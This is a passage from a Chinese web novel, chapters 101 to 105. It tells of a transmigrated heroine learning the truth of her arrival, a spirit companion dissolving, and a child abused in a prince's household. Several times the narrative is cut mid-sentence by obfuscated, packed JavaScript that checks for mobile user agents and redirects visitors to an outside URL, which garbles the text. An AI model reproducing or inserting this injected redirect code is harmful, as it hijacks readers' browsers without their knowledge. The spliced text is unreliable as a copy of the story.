但是被老道士这么一看,她只觉得浑身不自在。 “大师” “福生无量天尊。” 就在沈慕兮心怀忐忑之际,老道士接过了沈慕兮手上的银票,转身离开。 “一切皆有定数,人鬼殊途,信士无论如何执着,终究还是镜中花水中月” 他的声音缥缈悠远,却穿透力极强。 一字一句像是刻进了沈慕兮的灵魂之中,她本能地产生一种惊惧。 与她有同样感觉的,还有身边的沈曦。 “慕兮,我感觉这个老道士可以看到我。” 沈慕兮心头顿时漏跳了一拍,那个老道士的眼神,总让她感觉,他是在这里等着她故意撞上去的。 “他不说其他,说明问题不大,咱们不要自己吓自己。” 她的话,同样是在安慰自己,“要是他真的刻意要跟我们偶遇,总不可能拿了银票就跑吧?” 沈曦看了一眼自己时模糊时清晰的灵体,嘴巴微微一张,看到沈慕兮失魂落魄地往沈府而去。 最终还是什么都没说,紧紧跟在她身边。 是夜。 沈慕兮翻来覆去睡不着,老道士的话像是刻录在她耳边似的。 不断循环。 鼻翼间若有似无地传来一阵浓浊的香气,香气愈发浓郁。 沈慕兮心头警铃大作——迷香。 她立刻服下醒脑丸。 就在这时,沈曦开口了。 “慕兮,外头好像有人在弄什么,我好难受。” 她的话音刚落,一股浓郁的血腥味扑鼻而来。 沈慕兮皱眉。 立刻起身。 还未来得及唤来丫鬟,外头又传来了其他响动。 “快,老夫人说小姐住的房间周围全都要洒满黑狗血。” 是刘嬷嬷的声音。 “金汁也要,若是府上金汁不够 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14287819|152038||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,去找夜香婆那边花些银子买一点回来,大小姐中邪,此事可大可小。” 听到外头真有人应是去办事,而沈曦的灵体一下子消散得连轮廓都看不清,沈慕兮再也忍不住,冷着脸打开了房门。 寒风灌入屋内,沈慕兮当场清醒。 “你们在做什么?” 刘嬷嬷听到她的声音,后背瞬间绷直,严肃的脸上扯开了一抹比哭还难看的笑。 “大小姐,您怎么出来了?” 不是已经吹了迷香了吗? 她怎么还可以出现在这里? 沈慕兮冷冷看着外头几个提着黑狗血前来的下人。 天气寒冷,黑狗血大多数已经凝固成块。 泼黑狗血的人更是直接用手将黑狗血涂抹在屋前廊下的梁柱上、门扉上。 沈慕兮顿时怒火中烧,再看刘嬷嬷在问她怎么出来的时候,双脚不自主地后退了几步。 沈慕兮脸上冷意更甚,“我问了,你们都在做什么?怎么,都把我当死人了?” 说到后面,她几乎是吼出来的。 本来还在往她房门涂黑狗血的下人纷纷瑟缩了一下。 “慕兮我我好难受” 沈曦此时的灵体又淡了几分。 沈慕兮第一次遇到沈曦灵体看上去要消散的情况,心中一急,再也顾不得会不会露出破绽或者能不能在沈府立足。 抬手挥出一大把药粉,冷声吩咐,“去把这些东西给我洗掉,否则我定要你们求生不得求死不能。” 站在她身旁不远处的几个下人,一开始没有把她挥手的动作放在眼里。 直到一些药粉顺着冷风灌入鼻腔,一股灼烧感沿着鼻腔一路往他们的气管、咽喉再到胃部,他们才反应过来,沈慕兮挥手并不是吓吓他们而已。 有两个吸入药粉多的,已经开始咳血了。 “大小姐求大小姐饶命” 沈慕兮没有看其他人,而是快步回去了屋里。 有了门窗的隔绝,沈曦灵体总算没有再变淡。 “怎么会这么突然?我到底要怎么做才能留住你?” 沈慕兮喃喃自语。 从重生至今不过才四个月不到,可是对于沈慕兮来说,沈曦在身边不与她分开早已成为习惯。 她甚至还想着,在回去北宸之前,看能不能找个有能耐的寺庙或者道观,给沈曦立个牌位好好供养,滋养她的灵体 可是如今 一切都好像已经晚了。 第101章 穿越真相 沈慕兮的眼眶倏地红了起来。 “慕兮,不用担心我。” 沈曦想要抓起沈慕兮的手安慰她。 奈何她本就是透明的灵体,不管怎么抓,却触碰不到沈慕兮分毫。 “我真的没事。” “可是你现在已经变成这样了啊”沈慕兮一开口,前一刻还在眼眶打转的泪珠顿时滑落,“会一点医术毒术又如何?到头来,我救不醒筱筱,也护不住你我太没用了” 事实证明,先天不足,后天不管如何补救用处也不大。 她独自来到异世,因为原生家庭的打压,她差点连大学都读不完。 除了生活能自理以及能捣鼓一些新鲜事物赚点差价,一无是处。 她所学所想,全都是自己吃了亏总结出来的经验 如果,她能早些有一技之长 如果,她能早些开窍,不渴望属于人类的情感,那后面一切的事情是不是就不会发生? 或许,奶奶说得没错,她就是一条不管去哪都只能吃苦伺候人的贱命 根本不配获得世间的一切美好。 过去二十多年被原身家庭打压,再到后面独自来到异世所爱非人丢了性命,如今重活一次依旧保不住自己在意的人 她就像是被困在一个牢笼之中,不管她怎么挣扎,依旧挣脱不了命运的作弄。 二十多年拼着的一口气,那股我由我不由天的信念,早已膨胀得像气球一般,如今只需要一根细小的针扎上去。 顷刻之间,她的所有信念全数坍塌。 她累了。 真的累了 这条贱命,她也不想要了。 一口气松了下来,她眼前一花,整个人陷入了黑暗。 恍惚间,她似乎听到了房门被踹开,门外响起杂乱的脚步声以及慕容景衍的冷声怒斥,“若是她有个三长两短,本宫定饶不了你们。” 一灯如豆。 沈慕兮再次恢复意识的时候,只知现在是一个下雪的深夜。 “福生无量天尊,信士醒了?” 沈慕兮循声望去,老道士坐在不远处的石床上打坐,手臂上,还挂着一柄手柄已经有包浆光泽的佛尘。 而她躺着的位置,也是一张石床。 “大师,这是哪里?我我怎么会在这里?” “信士莫慌,贫道玄清,这里是紫阳观,两天前您在沈府昏迷,是贫道与另外一个贵人将您救下。 个中过程,贫道相信不久之后会有人告诉你。 剩下的事情,已有贵人解决,如今,你只需要在此静养,之后去做你想做的事情便可。” 玄清的声音清清淡淡,却给了沈慕兮一种莫名的安全感。 回想自己昏迷前听到的声音,她大概猜到了玄清口中的贵人是哪位。 倏地,她猛然在身边四处张望。 “信士是要找那个即将消散的灵体吗?” 沈慕兮紧张地看向玄清,“她在哪?” “已死之人不能复生,她已经不是这世间的存在,自然是应该自哪来回哪去。” 一股不祥的预感自沈慕兮的心底蔓延,“你是什么意思?” 玄清佛尘轻扫,人已经走到了房门,“信士请随贫道来。” 半刻钟后。 两人停在了一个以朱砂描画、纹路繁复的露天阵法前。 沈曦正在阵中打坐。 灵体看起来比之前清晰了许多。 天上的雪花还在洋洋洒洒落下。 神奇的是,没有半片雪花落在阵法之中。 从他们靠近阵法的那一刻,沈曦就有所感应。 看到沈慕兮披着墨色大麾跟在玄清身后,她的脸上露出一抹安抚的笑容。 沈慕兮同样朝她漾开一抹微笑,一切尽在不言中。 还没等两人开口,玄清的声音打破了她们之间的平和温馨。 “她本与宫氏无缘,当年宫氏在这里求子,贫道已经告诉过她,她命中无子女,即使有了,孩子也保不长。” 说到这里,玄清叹气,“我那财迷心窍的师兄,竟然告诉了宫氏换命邪术,让沈曦的命与一个孤苦多灾的异世之魂绑定。” 沈慕兮跟沈曦同时愣住了。 “一个对异世毫无牵挂的多灾之人,用来挡灾,再好不过。” 他的话犹如一道惊雷落下。 沈慕兮似是想到了什么关窍,脱口而出,“所以,我从异世而来,并非意外?” 沈慕兮的话才刚问出口看,沈曦的精气神像是一下子被抽光了似的。 本来还有些许透明的魂体,一下子变得瓷实不已。 “你胡说,我娘亲她虽性子刚烈,却也是心地柔软之人,绝对不会做出这种以命易命的事情” 激动的同时,沈曦恨不得飞出阵法扑向玄清。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14287820|152038||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 玄清抬手轻扫拂尘,沈曦定在了原地。 “信士先冷静下来,若是再激动,你的魂体只会变得越来越瓷实,最后灰飞烟灭。” 沈慕兮立刻紧张地看向沈曦,“你不要乱动,先听大师怎么说。” 沈曦想动也动不得,只好满脸怒意看向玄清。 玄清甚至连眉头也没有轻 挑一下。 “难道信士不觉得,你母亲当初送你离开,也是有保护你的成分?” 沈曦垂眸没有反驳。 当初她离开沈府是因为看到沈钏海跟丫鬟做了见不得人的事情,可不就是为了保护她吗? 似是看穿了沈曦的想法,玄清摇头,“并非信士所想的缘由。” 沈曦猛地抬头看向玄清,眼底诧异大于愤怒。 玄清轻轻叹气,“一切说来,也是我紫阳观种下的孽因,你本不应该存在,你母亲将你硬留在身边的结果就是你多灾多难。 即使你五岁那年不被你父亲灭口,在六岁、七岁直到十八岁,都会一直有各种劫难,直到你被抹去。 而在你五岁那年,我师兄窥得天机” 他声音平缓地将当年宫氏寻紫阳观帮忙的事情娓娓道来。 十三年前。 沈钏海与张氏私通的事情被沈曦发现,他第一反应就是想给沈曦灭口。 没想到,被玄清的师兄——玄泽道人及时赶到阻止了。 玄泽道人将此事告诉了宫氏,并告诉宫氏,若是想要护住沈曦性命,最好的办法就是给她定下亲事。 让她离家,等那个挡灾的异世之魂来了,她方可回府。 回府后,她在十八岁之前完婚,完婚之时,便是那异世之魂挡灾之日。 “福生无量天尊,父母爱子之深,则顾其周全。 作为一个母亲,宫氏已经做了她所有的努力。 谁都没想到,宫氏竟会在你还未完婚就弥难,导致你一拖又拖了三年,而那个异世之魂反而在这里扎了根有了血脉 师兄收人钱财,自然要替人消灾,宫氏离世后,他就开始带着小徒弟云游四海,想要找办法保住沈曦,不成想,没多久他又算出了异世之魂出了意外,他带着爱徒火速赶往北宸之后,就失了踪迹” 话到一半,玄清毫无波澜的声音微微一哽。 “直至三个月前,我听闻北宸有一座道观被雷烘碎,才知道,我那糊涂的师兄做出的糊涂事” 第102章 顾时,苏柳溪,我回来了 提及自家师兄的事情,玄清的情绪微微有了波动,很快又恢复了往日淡漠。 他面带庆幸地看向沈慕兮,“你被师兄用禁术召唤而来,命不该绝,所幸,你没有魂飞魄散,师兄也不至于在十八层地狱遭受各种酷刑。” 听到后面,沈慕兮几乎已经把玄清想要表达的意思归纳出来,“所以,沈曦的死不是意外,而是命数已尽?” 玄清微微颔首,“福生无量天尊,生死有命,有时候,又岂止生不是死?死不是生?” 沈曦怔怔站在原地。 一时之间,似有万语千言哽在喉间,可是当她张开嘴巴,却不知道应该说些什么。 难怪,她与沈慕兮能够看到彼此的记忆,两人对彼此的经历都是这般惺惺相惜。 沈慕兮像是想到什么,突然看向玄清,“若这副身体是我们之间的媒介,那么我与她是否” “不,”不等她说完,玄清斩钉截铁地打断了她的话,“你来自异世,是真实存在的,而她,可以是清风雨露,亦可以是世间万物,更可以是宫氏所求的一个执念。 唯独不能成人。 今日你让她回到自己的肉身上,他日她遇到挫折或者外部环境影响照样会消散无影,这是宿命。 你从异世而来,是为了填补她在这世上存在的空缺,一切乃天道,不可逆。” “可是” 沈慕兮不死心,“她也曾经” “慕兮,不用多说,命中注定如此。” 一直在一旁沉默的沈曦抬头红着眼朝沈慕兮微微一笑,打断了她的话,“不管你的人生如何千疮百孔,都不是你任人摆布的理由。 你本该拥有属于你的人生,看到不同的风景。 可如今,却因为我,才留在了这里,后来又因为我重新有了活下去的机会,冥冥之间,早有定数” “沈曦”沈慕兮哽咽着抬手想要触碰前魂体逐渐瓷实的姑娘,可在即将触碰到她的那一刻,她却像是触电一般收回了手,无力蹲在地上。 “对不起” 虽然一切都有定数,可是,她到底也生活了这些年,也是一个活生生的姑娘。 诚如她对她说,她本该拥有属于她的人生,可仅仅只因为一句:本该不应该存在。 她的人生就被抹杀,这样公平吗? 沈慕兮不懂所谓的道法,只觉得,在这一刻,天道是无情的。 “你不要难过,能够在你身边亲眼看着沈府鸡犬不宁,我已经很满足了。” 沈曦的声音在身前响起,沈慕兮甚至还看到了她虚浮在地上的双脚。 她泣不成声,“我会为你跟娘亲报仇的你信我” 眼睁睁看着在意的人或者事物在自己面前消散却无力改变的感觉,几乎压得她喘不过气。 “我信你。” 一只冰凉的素手轻轻覆上了沈慕兮的发顶,沈慕兮整个人紧绷了起来。 她抬头愣愣看向眼前泛着柔光,脸色异常苍白的少女。 少女微笑着蹲在她面前,伸手抚上了沈慕兮的脸。 那是一股沁人心脾的冰冷。 “慕兮,我信你。” 她红着眼眶,朝她漾开了一抹绝美的笑靥。 “我们拉钩。” 雪花洋洋洒洒飘落。 时间仿佛定格在两个少女双手拉钩的那一刻。 北宸天正十八年正月,没有立春,盲年。 一辆低调的马车从南渊边境跟着商队混入了北宸阜阳。 商队歇息期间,马车也跟着停了下来。 一个脸上带着伤痕、衣着简朴、看上去二十七八岁的女子缓缓从马车上下来。 “小姐,您为何要做这种打扮?” 红豆跟着跳下马车,不明所以地看向打扮格外显老沧桑的沈慕兮。 沈曦消散前,最不放心的就是这几个忠心的下属 “慕兮,红豆他们不知道我已经死了的事实,劳烦你帮我瞒着他们。 好不容易重活一次,你一定要好好地看看这盛世山河,连带把我的那一份也好好活下去” 她的声音犹在耳边响起,似是微风絮语,转瞬消散。 沈慕兮目光落在北方好一会,才转头朝红豆微微一笑,“这样打扮,方便替我的一位朋友,讨回公道。” 顾时,苏柳溪,我回来了。 北宸京都。 荣郡王府。 “他居然花了那么多钱,就是为了在南渊找回那个小贱种,如今人家不过只是给了他一个不知道真假的小心,他居然还一大早出去城门接人,他是不是疯了?” 苏柳溪扶着腰,焦躁不安地在主院走来走去。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14287821|152038||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 虞悦希小心翼翼地看着苏柳溪,“娘亲,那个小贱种已经死了,爹爹是找不到她的。” “啪——” 一记耳光毫不留情地甩在了虞悦希的脸上。 “都是你,把人弄死了丢去喂狗不好?偏偏你去放火,把事情闹得这么大,我们知道小贱种死了,但是那是能说的吗?” 虞悦希一脸委屈,“天狼也不是什么肉都要吃的,我哪知道那具尸体会被换了?” 她更想不到,顾时爹爹不知道怎么 的就突然想起那个小贱种,还瞒着娘亲遣人花了大价钱找了一个什么帮派去了南渊找人。 更没想到,那些人居然还真的传回来了消息说把顾筱筱个小贱种找回来了 “你真是没用。” 似乎打了她也纾解不了心中郁结,苏柳溪再次恨恨骂了一句。 虞悦希瑟缩了一下,眼神怨毒地看了一眼苏柳溪的肚子。 很快,她的眼珠子滴溜溜地转起来,在苏柳溪想要再次发脾气之前讨好地朝她笑着开口。 “娘亲,现在不是骂女儿的时候。 难道你不觉得很奇怪吗?明明那个小贱种都被我勒断脖子了,按道理肯定也是活不了也许那个调换的人也只是想给她入土为安的机会,而这次,也只是想办法呢?” 苏柳溪本来想要离开的脚步微微一顿,重新转身面向虞悦希。 “你觉得那个人会是谁?” 虞悦希眼底闪过一抹恶劣的光芒,“谁有意隐瞒十六叔叔事情,就是谁啊。” 就在这时,门外传来了敲门声。 苏柳溪跟虞悦希立刻换回了往日纯良无害的模样。 翠娥的声音推门而入,脸上血色尽褪。 “翠娥你怎么衣服受惊过度样子,见鬼了?”虞悦希不明所以地看向翠娥。 翠娥瑟缩了一下,抖着声音开口,“王妃,小姐,那人回来了。” “谁回来能把你吓成这个样子?”苏柳溪漫不经心地喝了一口温水。 仿佛只要这样,她就能把心中的心虚压下。 “小是筱筱小姐。”翠娥抖着唇瓣,连声音都快要不成调了。 “锵——” 翠娥的话音刚落,苏柳溪手上茶盏落地而碎。 母女二人同时激灵,同时惊呼,“怎么可能?” 第103章 筱筱以后,交给你教养了 “是真的,眼下人已经到了荣辉堂,王爷遣了人前来请您跟小姐过去。” 翠娥努力让自己的声音镇定下来。 奈何,亏心事做多了,贸然看到一个早已死了的人出现在自己面前。 说不心虚,那是假的。 “不可能,”苏柳溪现在还不相信,一把抓起虞悦希的手就大步往外走,“我们去看看。” “王妃,眼下还在融雪,地上湿滑,要当心些。” 翠娥追在身后开口提醒。 荣辉堂。 打扮雍容的老荣郡王妃看着顾时牵着的瘦弱小姑娘,眉毛早已打成了死结。 “眼下柳儿已经过了门,你突然把她接回来,你让柳儿如何自处?” 连日以来一路颠簸,顾筱筱看上去脸色蜡黄,精神比之前在荣郡王府还要差。 对比被养得白白嫩嫩的虞悦希,老荣郡王妃看向顾筱筱目光又多了几分嫌弃。 顾时牵着顾筱筱的手紧了紧,“母妃,不管过去她娘亲做了什么错事,可孩子是无辜的,更何况 不等顾时把话说完,老荣郡王妃冷哼一声,“当初跟男人走的时候那么潇洒,怎么,受苦了就知道回来找你了?” “母妃,当时的事情是误会。”顾时据理力争。 “母妃不管你们这些事情,在你看来只是多个人多双筷子的事情,可是对于咱们荣郡王府,她现在六岁,养到及笄,得话银钱,那些银钱,从哪来你可有算过那些账?” 顾时一噎,“沈氏之前在丹阳还有产业 老荣郡王妃轻嗤一声,“从去年开始,丹阳那边就开始经营不善了,那边的掌柜来信,有富商看上了沈氏的铺子,我早已卖了。” 变卖别人产业还这般理直气壮。 跟在顾筱筱身后那个同样面黄肌瘦的小丫鬟忍不住了,小声嘟哝一句,“可是我听说了你们府上的小姐也不是荣郡王亲生的,怎么养她就不用花费银钱了?” 小丫鬟的话不轻不重,老荣郡王妃闭嘴的时候刚好听到了。 她顿时恼羞成怒,“哪来的野丫头,目无尊卑。” 熟知老荣郡王妃的性格,顾时害怕顾筱筱刚刚回来每个熟悉的人照顾不习惯,连忙开口维护。 “母妃,这是沿途一路照顾筱筱的人,筱筱已经习惯了她的照顾,以后是跟在筱筱身边的。” 顾时一番话,也在给顾筱筱抬高地位,老荣郡王妃阴阳怪气道,“怎么,母妃现在还比不上你女儿身边的一个小丫鬟了?” 堂堂荣郡王妃跟一个乡野小丫鬟比较,传出去还得了? “这些事情,又岂能胡乱比较?”顾时急忙开口,生怕老荣郡王妃口不择言再说其他闹笑话的话,“总之,儿子话放在这里,筱筱是我的亲生女儿,母妃为难筱筱,就是不待见儿子。” 苏柳溪跟虞悦希踏入荣辉堂就听到顾时冷声撂下话。 两人心头同时“咯噔”一下。 苏柳溪更是趁机松开了虞悦希的手,红着眼眶走到顾筱筱面前,怜爱地为她拨开鬓边发丝,“可怜见的,怎么瘦成这样?” 顾筱筱瑟缩了一下,没有让苏柳溪触碰,躲在了顾时身后。 突然没了怜惜的对象,苏柳溪的眼泪要掉不掉挂在眼睫,看上去格外滑稽。 顾时看了一眼苏柳溪跟虞悦希,眼底闪过歉意,“筱筱到底也是我的亲生孩子,吃了很多苦头才回到我的身边,我希望,你们可以包容接纳她。” “顾时哥,你说什么话呢?” 苏柳溪嗔怪地瞪了顾时一眼,笑得温和,“你的孩子就是我的孩子,咱们之间,早已不分彼此了啊。” 顾时满意点头。 握着顾筱筱的手先是紧了紧,随后松开,蹲身在顾筱筱面前。 “以后,苏姨姨就是你的母妃,你切莫要像以前那么任性,知道吗?” 顾时刻意放慢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“顾时哥你放心,筱筱在我这里不会受到任何委屈的。 不但是我,连悦悦也十分喜欢筱筱这个妹妹呢。” 苏柳溪笑得温婉无害。 虞悦希听到自己被点名,配合地走到另一边撒娇似的拉着顾时的手,“是啊,爹爹。 娘亲一直都有教导悦悦,要关爱年纪比悦悦小的孩子,筱筱妹妹就像悦悦的亲妹妹一样,悦悦可喜欢妹妹了。” 顾时“嗯”了一声,宠溺地刮了刮虞悦希的鼻子,“爹爹就知道你是最乖的。” “不久前,落霞苑才重新修筑过,地方够住,不如就让筱筱跟悦悦住一起吧。”苏柳溪提议。 早在与顾时成亲后,苏柳溪就与顾时一同住在主院,落霞苑单独给了虞悦希居住。 以前的院子,顾时不打算让顾筱筱再住下,生怕还会刺激到她想起那些不好的记忆。 刚好苏柳溪开口,他顺着苏柳溪的建议点头,“如此,就暂时按照您所说的安排吧,回头新院子落实好,再让筱筱搬过去。” “爹爹,你放心,有悦悦在,悦悦可以照顾筱筱妹妹,不会有问题的。” 几人一边走一边说,很快回到了落霞苑。 这时,陈十六匆匆赶来,“王爷,咱们是时候要动身了。” 顾时朝陈十六颔首,又宠溺地摸了摸虞悦希的头。 “你妹妹性子不如你讨喜,你要多包容她一些。” 虞悦希不满地噘嘴,“爹爹,不准你这么说筱筱妹妹,妹妹是世上最可爱的妹妹。” 看到虞悦希这么维护顾筱筱,顾时十分欢喜,“好好好,不说不说。” 随即他温柔地看向苏柳溪,“辛苦你了。” 苏柳溪娇羞地朝顾时回以一笑,“这是我应该的。” 顾时心满意足地离开。 顾时离开后,苏柳溪用身体不宜久站为由,自己进了屋休息。 临走之前,不知是有意还是无意,把所有下人支走了。 包括负责照顾顾筱筱的那个小丫鬟,“既然你家小姐要住下,你跟着温嬷嬷去收拾一下房间。” 小丫鬟意味深长地瞄了一眼虞悦希跟苏柳溪,迅速低垂眉目,“是。” 落霞苑的院门关了起来。 前院只剩下虞悦希跟顾筱筱。 虞悦希脸上的笑容倏地收起,一脚狠狠地踹向顾筱筱的腿窝。 “小贱种,你没死居然敢躲起来?” 一向安静的顾筱筱顿时像换了个人。 毫无形象地尖声哭喊起来,“对不起,悦悦姐姐,我错了,不要打我” “现在知道跟我道歉?呵,晚了。” 虞悦希铁了心要在顾筱筱身上把从苏柳溪那里受到的窝囊气发泄出来,狠狠地拧了一把顾筱筱身上的软肉。 “让你死你不死,现在还敢回来?回来你就要承受回来的代价。 等着,我回头定要再拔掉你的指甲” “嘭——” “你们在做什么?” 院门被踹开伴随一个冷冽的声音响起。 看清来人,顾筱筱立刻爬起来,跌跌撞撞跑到顾时身边,哭得撕心裂肺。 “爹爹” 像是被哭声惊动,苏柳溪在听到顾时的质问声连忙在翠娥的搀扶下从屋里出来。 “顾时哥,你不是走了吗?” 顾时抱起顾筱筱,看着苏柳溪脸色不善,“要不是我发现腰间令牌不见了,要回来取,你们是不是打算关起门来欺负筱筱?” 听到顾时的质问,苏柳溪的心顿时漏跳了一拍。 她皱起眉头,不分青红皂白,率先开口质问虞悦希,“这到底是怎么回事?悦悦,是不是你欺负妹妹?” 虞悦希顿时红了眼眶,“娘亲,不是悦悦,是是筱筱妹妹自己摔倒在地上,刚好被爹爹看到” 早在院门被撞开的那一刻,虞悦希已经想好了应对的法子,右手背在身后不让人看到。 母女二人的眼神短暂交流后,苏柳溪明显猜到了虞悦希的后招,立刻生气地地扯过她的手,“你手上拿着什么东西?交出来。” 虞悦希死死握住手上的东西别过身子,倔强地看着苏柳溪,“娘亲,那是悦悦的东西。” 顾筱筱只注意到苏柳溪母女似乎发生了不愉快,并没有注意到苏柳溪母女的眼神交流。 在顾时抱起她的时候,她更是顺势搂着顾时的脖子哭得上气不接下气,“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14287823|152038||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 爹爹,悦悦姐姐说谎,是悦悦姐姐要筱筱死在外面,呜呜呜,悦悦姐姐不喜欢筱筱” 顾时闻言,眼眸顿时像染上了霜雪。 可对上虞悦希楚楚可怜的眼神,他又想到了顾筱筱之前有撒谎的先例。 他没有立刻责罚虞悦希,而是严厉地看着她,“悦悦,你当真在筱筱面前说出这样的话?” “我没有” “姐姐有,之前姐姐还让人拔掉筱筱的指甲,刚才还踹筱筱的腿让筱筱摔倒呜呜呜筱筱好痛” 顾筱筱不顾形象地嚎啕大哭瞬间把虞悦希还把自己重新长出了指甲的十指给顾时看了。 十个指甲虽说是重新长了出来,可到底也是伤了里面的皮肉,多多少少不似第一次那样规整 。 莫名地,顾时想起了之前她奄奄一息倒在地上差点连命都没有了的场景。 他再次目光凌厉地看向虞悦希,“真的是你做的?” “爹爹,你信我,我没有。” 虞悦希同样哭着摇头。 这一哭,让苏柳溪得了机会,一把将她紧紧窝在掌心的东西薅了出来。 “你拿的是什你簪子怎么断了?你受伤了?” 苏柳溪一声惊呼,吸引了顾时的注意力。 顾时一眼就认出了苏柳溪拿在手上沾有血迹的白玉发簪,是他在去年腊月买给虞悦希的生辰礼物。 虞悦希趁着苏柳溪震惊的当口,疯了似的将白玉发簪重新抢回自己手里。 转头想要握住顾筱筱的手,被顾筱筱躲开了。 虞悦希无风自摔,柔弱地跌倒在地。 断裂的发簪顺着她跌倒在地的惯性在她的掌心划出了一道深深的口子,鲜血淋漓。 顾时心头一紧,连忙吩咐陈十六,“快去请大夫。” 虞悦希仿佛听不见顾时说话,哭得楚楚可怜地看向顾筱筱。 “妹妹,我不是故意要抢走爹爹的” 眼看顾筱筱又有要哭起来的迹象,她连忙跪爬到顾时身前,“爹爹,不,顾叔叔,悦悦的存在是不是让妹妹不高兴?要是妹妹不高兴,悦悦可以自己在外面住,只要顾叔叔能让下人给悦悦一口饭吃就好了,求顾叔叔不要为难娘亲” 第105章 筱筱一定不会再被别人欺负 顾时连忙放下顾筱筱,心疼地扶起了虞悦希,“你在胡说什么?谁说要赶你走了?” 虞悦希顺势抱着顾时的手臂哭得不能自已,苏柳溪趁机红着眼开口道,“顾时哥,孩子之间的打闹很正常” “你看看孩子们都委屈成什么样了,怎么就正常” 话到一半,顾时看到苏柳溪已经显怀的肚子,硬是重话收了回去。 目光重新放在顾筱筱身上。 一脸严肃地开口,“筱筱,你可有什么话想说?” 顾筱筱哭着摇头,“爹爹是不信筱筱了吗?” 早在听到顾时声音就出来走热闹的小丫鬟看到情况不对,也跟着上前帮腔,“王爷,奴婢可以作证,小姐因为几个月前受了惊,她的情绪不能波动太大,不可能做出欺负旁人的事情啊。” 虞悦希抱着顾时的手臂瑟缩了一下,“顾叔叔,妹妹真的没有欺负我。” 顾时隔着衣裳甚至还能感受到小姑娘抱着自己手臂时候的紧绷。 转头看到虞悦希想要开口又不敢开口的模样,本来还因为母女二人失踪吃苦而产生内疚的心,顿时散去了大半。 他轻轻拉开了虞悦希,蹲下身子满脸严肃地看着顾筱筱。 “筱筱,你看着我,再说一次刚才的话,小孩子是不能撒谎了。”顾时这番做法,明显就是不相信她。 一如几个月之前她挨了虞悦希的欺负,到头来却还被责怪不懂事。 一直以来积攒的委屈像是扯开了一道大口子,顾筱筱一把推开了顾时。 “坏爹爹,筱筱讨厌你。” 顾时没想到顾筱筱敢推自己,一时不慎,整个人跌坐在地。 转眼看到顾筱筱已经跑了出去,他怒喝一声,“顾筱筱。” 那板起脸的生气模样,恨不得要将她大卸八块。 顾筱筱连停顿都没有停顿一下。 顾时也顾不上摆什么父亲的架子,快步追了出去。 “筱筱!” 一时间,落下院内只剩下目瞪口呆的众人。 苏柳溪的脸色顿时黑沉如水,虞悦希的脸色也格外难看。 顾时在落霞苑外的回廊下拦下了顾筱筱。 “筱筱。” 被顾时拉住的时候,顾筱筱还在擦眼泪。 “坏爹爹” 她想要甩开顾时的手,奈何根本甩不开。 “好了。” 他再次怒喝一声。 声音穿透力极强,引得下人频频看过来,又迅速低下头。 顾筱筱瞬间忘记了要怎么哭。 顾时懊恼地蹲下了身子,努力按捺住自己胸臆间那团即将喷涌而出的火气。 “筱筱,爹爹不是故意要凶你。” 他努力让自己的语气变得平和,生怕顾筱筱再次有什么过激反应。 毕竟,回来荣郡王府之前,他也带过顾筱筱去看过大夫,大夫所言跟伺候在她身边的小丫鬟说的话毫无二致。 “你告诉爹爹,刚才在落霞苑发生了什么事?爹爹绝对不会允许任何人再伤害你了。” 看到他态度如此坚决,顾筱筱总算停下了小声啜泣。 她试探性地看向顾时,“爹爹真的不会再像之前那样?” “不会了,相信爹爹。” 得了顾时的保证,顾筱筱一脸“总算可以放心”的表情,抱着顾时嚎啕大哭起来,“爹爹,筱筱真的没说谎,坏姐姐要拔筱筱的指甲,以前筱筱的指甲也是她让人拔的,筱筱不想跟她住一起,她会打死筱筱的。” 顾筱筱哭得撕心裂肺。 顾时的心都要拧成一团了。 “好好好,爹爹的错,是爹爹考虑不周,筱筱不要生爹爹的气好不好?” “筱筱不要新母妃,筱筱只想要娘亲。” 